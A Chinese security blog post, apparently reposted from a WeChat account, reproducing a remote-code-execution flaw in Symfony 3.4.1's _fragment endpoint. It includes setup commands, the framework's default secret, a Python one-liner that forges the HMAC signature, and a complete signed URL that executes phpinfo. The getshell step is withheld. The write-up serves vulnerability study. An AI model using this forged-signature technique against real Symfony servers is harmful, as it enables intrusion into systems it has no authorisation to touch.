不知几DAY的Symfony-RCE复现

admin 2024年7月1日14:16:59评论9 views字数 2069阅读6分53秒阅读模式

感谢红队大佬老流氓的供稿,此篇文章是针对Symfony框架的一个RCE漏洞复现

框架简介
Symfony是一个开源的PHP Web框架,它现在是许多知名 CMS 的核心组件,例如Drupal、Joomla!、eZPlatform(以前称为 eZPublish)或Bolt。该框架在低版本时使用了默认密钥,从而造成RCE。
Symfony 的内置功能之一是类,用于处理ESI(Edge-Side Includes)。本质上,当有人发出请求时,此侦听器会根据给定的 GET 参数设置请求属性。由于这允许运行任意 PHP 代码(稍后会详细介绍),因此必须使用 HMAC 值对请求进行签名。此 HMAC 的秘密加密密钥存储在名为的 Symfony 配置值下。
FragmentListener/_fragmentsecret

漏洞前提
版本高的时候攻击者需要拿到密钥(从文件备份等获取),低版本时为默认密钥(本地安装获即可获得)

环境安装
这里使用的是ubuntu16,安装的是Symfony 3.4.1,命令大致如下

sudo apt updatesudo apt install php-cli unzipsudo apt-get updatesudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysqlsudo apt-get install php php-xml php-curl php-cli php-zip php-gd php-mysql -ycomposer create-project symfony/framework-standard-edition my_project_name 3.4.1apt install composer -ycomposer create-project symfony/framework-standard-edition my_project_name 3.4.1sudo apt-get install --reinstall ca-certificatescomposer create-project symfony/framework-standard-edition my_project_name 3.4.1sudo apt updatesudo apt install php-cli unzipphp -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"php composer-setup.php --install-dir=/usr/local/bin --filename=composerphp -r "unlink('composer-setup.php');"composer create-project symfony/framework-standard-edition my_project_name 3.4.1cd my_project_namecomposer installsudo chmod +x bin/console

启动环境

php bin/console server:run 0.0.0.0:8000 

 在本机的8000端口开启监听

不知几DAY的Symfony-RCE复现

不知几DAY的Symfony-RCE复现

漏洞复现
密钥:APP_SECRET is ThisTokenIsNotSoSecretChangeIt        安装的时候可以看见

生成签名,执行phpinfo函数
page="http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1"
python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'ThisTokenIsNotSoSecretChangeIt', b'$page', hashlib.sha256).digest()))"

不知几DAY的Symfony-RCE复现

拼接路径
注意如果生成的签名里面有+号等特殊符号需要进行url编码,完整url如下:

http://xx.xx.xx.xx:8000/_fragment?_path=_controller%3Dphpinfo%26what%3D-1&_hash=1AojZEyRdQcbIw/hIIukPuOfCbj8tuYrKg0sCPJBWDE=

不知几DAY的Symfony-RCE复现

Getshell部分就不发了,那个就是佬的辛勤研究成果了,请大家给老流氓点赞

复现难点
如何获取每个函数的使用方法、寻找可getshell的函数。注意编码问题,如果访问拼接的url提示403则签名有问题,可能是有符号没有编码或函数参数有问题

参考文章
https://www.ambionics.io/blog/symfony-secret-fragment
https://medium.com/@bxrowski0x/3-symfony-rce-a-peek-behind-the-curtain-83da5433e149

原文始发于微信公众号(我不懂安全):不知几DAY的Symfony---RCE复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月1日14:16:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   不知几DAY的Symfony-RCE复现https://cn-sec.com/archives/2904664.html

发表评论

匿名网友 填写信息